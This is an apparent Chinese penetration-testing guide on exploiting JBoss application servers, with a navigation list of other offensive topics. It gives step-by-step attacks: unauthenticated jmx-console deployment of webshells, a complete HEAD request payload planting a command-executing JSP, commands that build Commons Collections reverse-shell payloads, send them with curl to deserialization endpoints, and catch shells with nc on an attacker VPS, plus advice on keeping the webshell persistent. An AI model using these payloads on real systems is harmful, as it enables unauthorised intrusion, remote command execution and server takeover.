# Jboss漏洞利用总结
## 一、[4x及以前]漏洞汇总
[TOC]
### 0、控制台相关信息
jboss4.x 及其之前的版本,console管理路径为`/jmx-console/ 和 /web-console/` 。
```sh
#jmx-console 和 web-console共用一个账号密码 ,账号密码文件在
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
#jmx-console的配置文件为
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#web-console的配置文件为
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
#web-console的配置文件为
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
```
### 1、JMX Console未授权访问Getshell
**漏洞描述**
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。
**影响版本**
Jboss4.x以下
**漏洞利⽤**
Jboxx4.x的/jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。
步骤:
1. 点击jboss后台的【jboss management】选项中的【jmx console】
2. 然后找到【jboss.deployment】(jboss 自带的部署功能)
点击启动中的`flavor=URL,type=DeploymentScanner`进去(通过 url 的方式远程部署)
3. 也可以直接输入URL全路径进入
http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
4. 找到页面中的`void addURL()`选项来远程加载包含马儿的war包来部署。
5. 查看部署是否成功
返回到刚进入jmx-console的页面,找到 jboss.web.deployment,多刷新几次页面或者等会儿,直到看到有部署的war包即可
6. 访问我们的木马
http://xx.xx.xx.xx:8080/test/test.jsp?pwd=123&cmd=ls
**权限巩固**
```
#通常像上面这样部署的webshell,物理路径默认都会在以下目录下
\jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
#这个目录只能临时用,还需要把shell转移到jmx-console的默认目录来巩固权限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
```
### 2、JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
**漏洞描述**
原因同上一个,但该漏洞利⽤的是后台中【jboss.admin】 -> 【DeploymentFileRepository 】-> 【store()】⽅法,通过向四个参数传⼊信息,达到上传shell的⽬的,其中arg0传⼊的是部署的war包名字,arg1传⼊的是上传的⽂件的⽂件名,arg2传⼊的是上传⽂件的⽂件格式,arg3传⼊的是上传⽂件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。
**影响版本**
Jboss4.x以下
**漏洞利用**
输⼊url:
http://目标IP:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
定位到store⽅法,通过向四个参数传入信息,达到上传shell的目
```
arg1传入的是部署的war包名字,如shell.war
arg2传入的是上传的文件的文件名,如shell
arg3传入的是上传文件的文件格式,如jsp
arg4传入的是上传文件中的内容,
通过控制这四个参数即可上传shell,控制整台服务器。
```
> 后面的CVE-2010-0738和CVE-2006-5750漏洞也存在这一特性。
### 3、JMX控制台安全验证绕过漏洞(CVE-2010-0738)
**漏洞描述**
该漏洞利⽤⽅法跟CVE-2007-1036⼀样,只是绕过了get和post传输限制,利⽤ head传输⽅式发送payload
**影响版本**
jboss4.2.0、jboss 4.3.0
**漏洞利⽤**
利⽤head传输⽅式,payload如下:
```http
HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
```
### 4、CVE-2006-5750
此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的区别是CVE-2006-5750漏洞利用【methodIndex】进行【store()】方法的调用。其中methodIndex是通过方法的编号进行调用。
### 5、JBOSS MQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
**漏洞描述**
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
**影响版本**
JBoss AS 4.x及之前版本
**漏洞利用**
1. 首先验证目标jboss是否存在此漏洞,直接访问
/jbossmq-httpil/HTTPServerILServlet 路径下。若访问200,则可能存在漏洞。
2. 使用JavaDeserH2HC工具来利用该漏洞,尝试直接弹回一个shell
```sh
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反弹的IP:端口
curl http://目标IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser
```
3. vps使用nc监听端口,`nc -lvp 4444
成功反弹shell
## 二、[5x-6x]漏洞汇总
### 1、Jboss5.x/6.x控制台
Jboss5.x开始弃用了 web-console ,增加了admin-console。jboss5.x / 6.x 版本 console 路径为 /jmx-console/ 和 /admin-console/。
```cmd
#jmx-console 和 web-console 共用一个账号密码 ,账号密码文件在
jboss/server/default/conf/props/jmx-console-users.properties
#jmx-console的配置文件为
jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#admin-console的配置文件为
jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml
```
### 2、Jboss 5.x/6.x admin-Console后台部署war包Getshell
Jboss5.X开始,jmx-console不能部署war包了,需要admin-console后台部署
1. 登录进admin-console后台后,
2. 点击Web Application(WAR)s
3. 然后Add a new resource
4. 这里选择我们本地生成好的war包
5. 上传后访问我们的马
http://xx.xx.xx.xx:8080/test/test.jsp?pwd=123&cmd=ls
### 3、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
经典的 JBoss 反序列化漏洞,JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象
然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件⽀持Java反序列化
**影响版本**
实际上主要集中在 jboss 6.x 版本上:
```
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
```
**漏洞探测**
此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞。
1. 先启动靶机环境,访问:http://yourip:8080/
2. 使用JavaDeserH2HC 生成反弹 shell 的 payload
```sh
#进行文件编译
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成载荷的序列化文件xx.ser(反弹shell到我们的vps)
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公网vps的ip:端口号
#利用curl提交我们的ser文件
curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
```
3. vps使用nc监听端口,`nc -lvp 4444`
4. 成功反弹
### 4、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
此漏洞和CVE-2015-7501漏洞原理相同
**影响版本**
实际上主要集中在 jboss 6.x 版本上:
```
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
```
**漏洞利用**
跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是 /invoker/EJBInvokerServlet
### 5、JBoss 5.x/6.x CVE-2017-12149 反序列化漏洞
**漏洞描述**
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
该漏洞出现在**/invoker/readonly**请求中,服务器将用户提交的POST内容进行了Java反序列化,导致传入的携带恶意代码的序列化数据执行。
**影响版本**
JbossAS 5.x
JbossAS 6.x
**漏洞验证POC**
http://目标:8080/invoker/readonly,如果出现报 500 错误,则说明目标机器可能存在此漏洞
**漏洞利用现成工具**
可以直接使用工具`cve-2017-12149 jboss反序列化`工具,填入目标地址和cmd即可
也可以借助JavaDeserH2HC来完成整个利用过程
```sh
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
然后尝试利用curl发送payload到目标机器上执行后,发现vps已成功接弹回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
# 然后监听端口
nc -lvp 4444
```
参考文献:
https://blog.csdn.net/qq\_36119192/article/details/103899123
https://www.freebuf.com/articles/web/240174.html
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具